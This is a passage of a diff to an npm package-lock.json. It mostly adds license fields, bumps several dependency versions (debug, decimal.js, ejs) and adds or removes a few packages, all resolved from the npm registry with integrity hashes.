       "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==",
+      "license": "MIT",
       "dependencies": {
         "cssnano-preset-default": "^5.2.14",
         "lilconfig": "^2.0.3",
@@ -6838,6 +6943,7 @@
       "version": "5.2.14",
       "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz",
       "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==",
+      "license": "MIT",
       "dependencies": {
         "css-declaration-sorter": "^6.3.1",
         "cssnano-utils": "^3.1.0",
@@ -6880,6 +6986,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz",
       "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==",
+      "license": "MIT",
       "engines": {
         "node": "^10 || ^12 || >=14.0"
       },
@@ -6891,6 +6998,7 @@
       "version": "4.2.0",
       "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz",
       "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==",
+      "license": "MIT",
       "dependencies": {
         "css-tree": "^1.1.2"
       },
@@ -6902,6 +7010,7 @@
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
       "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+      "license": "MIT",
       "dependencies": {
         "mdn-data": "2.0.14",
         "source-map": "^0.6.1"
@@ -6913,12 +7022,14 @@
     "node_modules/csso/node_modules/mdn-data": {
       "version": "2.0.14",
       "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
-      "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow=="
+      "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==",
+      "license": "CC0-1.0"
     },
     "node_modules/csso/node_modules/source-map": {
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -6926,12 +7037,14 @@
     "node_modules/cssom": {
       "version": "0.4.4",
       "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
-      "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw=="
+      "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==",
+      "license": "MIT"
     },
     "node_modules/cssstyle": {
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
       "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
+      "license": "MIT",
       "dependencies": {
         "cssom": "~0.3.6"
       },
@@ -6942,22 +7055,26 @@
     "node_modules/cssstyle/node_modules/cssom": {
       "version": "0.3.8",
       "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
-      "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="
+      "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==",
+      "license": "MIT"
     },
     "node_modules/csstype": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz",
-      "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="
+      "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==",
+      "license": "MIT"
     },
     "node_modules/damerau-levenshtein": {
       "version": "1.0.8",
       "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",
-      "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="
+      "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==",
+      "license": "BSD-2-Clause"
     },
     "node_modules/dashjs": {
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/dashjs/-/dashjs-4.1.0.tgz",
       "integrity": "sha512-nVcu4f/RVTCeba5RWHYujMBDKbWOUPIXfwe1wfYYoz9alsK2NeywXIlgBhzCfWnHtcfAEEW96mbmmWiagFX0hQ==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "codem-isoboxer": "0.3.6",
         "es6-promise": "^4.2.8",
@@ -6971,6 +7088,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz",
       "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==",
+      "license": "MIT",
       "dependencies": {
         "abab": "^2.0.3",
         "whatwg-mimetype": "^2.3.0",
@@ -6980,12 +7098,64 @@
         "node": ">=10"
       }
     },
-    "node_modules/debug": {
-      "version": "4.3.4",
-      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
-      "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+    "node_modules/data-view-buffer": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz",
+      "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==",
+      "license": "MIT",
       "dependencies": {
-        "ms": "2.1.2"
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/data-view-byte-length": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz",
+      "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/inspect-js"
+      }
+    },
+    "node_modules/data-view-byte-offset": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz",
+      "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/debug": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz",
+      "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==",
+      "license": "MIT",
+      "dependencies": {
+        "ms": "^2.1.3"
       },
       "engines": {
         "node": ">=6.0"
@@ -6997,56 +7167,28 @@
       }
     },
     "node_modules/decimal.js": {
-      "version": "10.4.3",
-      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz",
-      "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA=="
+      "version": "10.6.0",
+      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
+      "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
+      "license": "MIT"
     },
     "node_modules/dedent": {
       "version": "0.7.0",
       "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz",
-      "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA=="
-    },
-    "node_modules/deep-equal": {
-      "version": "2.2.3",
-      "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-2.2.3.tgz",
-      "integrity": "sha512-ZIwpnevOurS8bpT4192sqAowWM76JDKSHYzMLty3BZGSswgq6pBaH3DhCSW5xVAZICZyKdOBPjwww5wfgT/6PA==",
-      "dev": true,
-      "dependencies": {
-        "array-buffer-byte-length": "^1.0.0",
-        "call-bind": "^1.0.5",
-        "es-get-iterator": "^1.1.3",
-        "get-intrinsic": "^1.2.2",
-        "is-arguments": "^1.1.1",
-        "is-array-buffer": "^3.0.2",
-        "is-date-object": "^1.0.5",
-        "is-regex": "^1.1.4",
-        "is-shared-array-buffer": "^1.0.2",
-        "isarray": "^2.0.5",
-        "object-is": "^1.1.5",
-        "object-keys": "^1.1.1",
-        "object.assign": "^4.1.4",
-        "regexp.prototype.flags": "^1.5.1",
-        "side-channel": "^1.0.4",
-        "which-boxed-primitive": "^1.0.2",
-        "which-collection": "^1.0.1",
-        "which-typed-array": "^1.1.13"
-      },
-      "engines": {
-        "node": ">= 0.4"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
-      }
+      "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==",
+      "license": "MIT"
     },
     "node_modules/deep-is": {
       "version": "0.1.4",
       "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
-      "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="
+      "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==",
+      "license": "MIT"
     },
     "node_modules/deepmerge": {
       "version": "4.3.1",
       "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
       "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -7055,6 +7197,7 @@
       "version": "6.0.3",
       "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz",
       "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "execa": "^5.0.0"
       },
@@ -7066,6 +7209,7 @@
       "version": "1.1.4",
       "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
       "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "license": "MIT",
       "dependencies": {
         "es-define-property": "^1.0.0",
         "es-errors": "^1.3.0",
@@ -7082,6 +7226,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
       "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -7090,6 +7235,7 @@
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",
       "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",
+      "license": "MIT",
       "dependencies": {
         "define-data-property": "^1.0.1",
         "has-property-descriptors": "^1.0.0",
@@ -7106,6 +7252,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
       "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -7114,6 +7261,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
       "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8"
       }
@@ -7122,6 +7270,8 @@
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
       "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
+      "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -7130,15 +7280,30 @@
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
       "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8",
         "npm": "1.2.8000 || >= 1.4.16"
       }
     },
+    "node_modules/detect-libc": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz",
+      "integrity": "sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==",
+      "license": "Apache-2.0",
+      "optional": true,
+      "bin": {
+        "detect-libc": "bin/detect-libc.js"
+      },
+      "engines": {
+        "node": ">=0.10"
+      }
+    },
     "node_modules/detect-newline": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
       "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -7146,12 +7311,14 @@
     "node_modules/detect-node": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz",
-      "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g=="
+      "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==",
+      "license": "MIT"
     },
     "node_modules/detect-port-alt": {
       "version": "1.1.6",
       "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz",
       "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==",
+      "license": "MIT",
       "dependencies": {
         "address": "^1.0.1",
         "debug": "^2.6.0"
@@ -7168,6 +7335,7 @@
       "version": "2.6.9",
       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "license": "MIT",
       "dependencies": {
         "ms": "2.0.0"
       }
@@ -7175,17 +7343,20 @@
     "node_modules/detect-port-alt/node_modules/ms": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+      "license": "MIT"
     },
     "node_modules/didyoumean": {
       "version": "1.2.2",
       "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
-      "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="
+      "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==",
+      "license": "Apache-2.0"
     },
     "node_modules/diff-sequences": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
       "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==",
+      "license": "MIT",
       "engines": {
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
@@ -7194,6 +7365,7 @@
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
       "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+      "license": "MIT",
       "dependencies": {
         "path-type": "^4.0.0"
       },
@@ -7204,12 +7376,14 @@
     "node_modules/dlv": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
-      "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="
+      "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==",
+      "license": "MIT"
     },
     "node_modules/dns-packet": {
       "version": "5.6.1",
       "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.6.1.tgz",
       "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==",
+      "license": "MIT",
       "dependencies": {
         "@leichtgewicht/ip-codec": "^2.0.1"
       },
@@ -7221,6 +7395,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
       "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
+      "license": "Apache-2.0",
       "dependencies": {
         "esutils": "^2.0.2"
       },
@@ -7232,12 +7407,14 @@
       "version": "0.5.16",
       "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz",
       "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/dom-converter": {
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz",
       "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==",
+      "license": "MIT",
       "dependencies": {
         "utila": "~0.4"
       }
@@ -7246,6 +7423,7 @@
       "version": "1.4.1",
       "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
       "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
+      "license": "MIT",
       "dependencies": {
         "domelementtype": "^2.0.1",
         "domhandler": "^4.2.0",
@@ -7264,13 +7442,15 @@
           "type": "github",
           "url": "https://github.com/sponsors/fb55"
         }
-      ]
+      ],
+      "license": "BSD-2-Clause"
     },
     "node_modules/domexception": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz",
       "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==",
       "deprecated": "Use your platform's native DOMException instead",
+      "license": "MIT",
       "dependencies": {
         "webidl-conversions": "^5.0.0"
       },
@@ -7282,6 +7462,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz",
       "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=8"
       }
@@ -7290,6 +7471,7 @@
       "version": "4.3.1",
       "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz",
       "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "domelementtype": "^2.2.0"
       },
@@ -7304,6 +7486,7 @@
       "version": "2.8.0",
       "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
       "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "dom-serializer": "^1.0.1",
         "domelementtype": "^2.2.0",
@@ -7317,6 +7500,7 @@
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz",
       "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==",
+      "license": "MIT",
       "dependencies": {
         "no-case": "^3.0.4",
         "tslib": "^2.0.3"
@@ -7326,6 +7510,7 @@
       "version": "10.0.0",
       "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz",
       "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=10"
       }
@@ -7333,27 +7518,46 @@
     "node_modules/dotenv-expand": {
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz",
-      "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA=="
+      "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==",
+      "license": "BSD-2-Clause"
+    },
+    "node_modules/dunder-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
+      "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.2.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
     },
     "node_modules/duplexer": {
       "version": "0.1.2",
       "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz",
-      "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg=="
+      "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==",
+      "license": "MIT"
     },
     "node_modules/eastasianwidth": {
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
-      "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="
+      "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==",
+      "license": "MIT"
     },
     "node_modules/ee-first": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
-      "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
+      "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
+      "license": "MIT"
     },
     "node_modules/ejs": {
-      "version": "3.1.9",
-      "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.9.tgz",
-      "integrity": "sha512-rC+QVNMJWv+MtPgkt0y+0rVEIdbtxVADApW9JXrUVlzHetgcyczP/E7DJmWJ4fJCZF2cPcBk0laWO9ZHMG3DmQ==",
+      "version": "3.1.10",
+      "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz",
+      "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==",
+      "license": "Apache-2.0",
       "dependencies": {
         "jake": "^10.8.5"
       },
@@ -7365,14 +7569,16 @@
       }
     },
     "node_modules/electron-to-chromium": {
-      "version": "1.4.671",
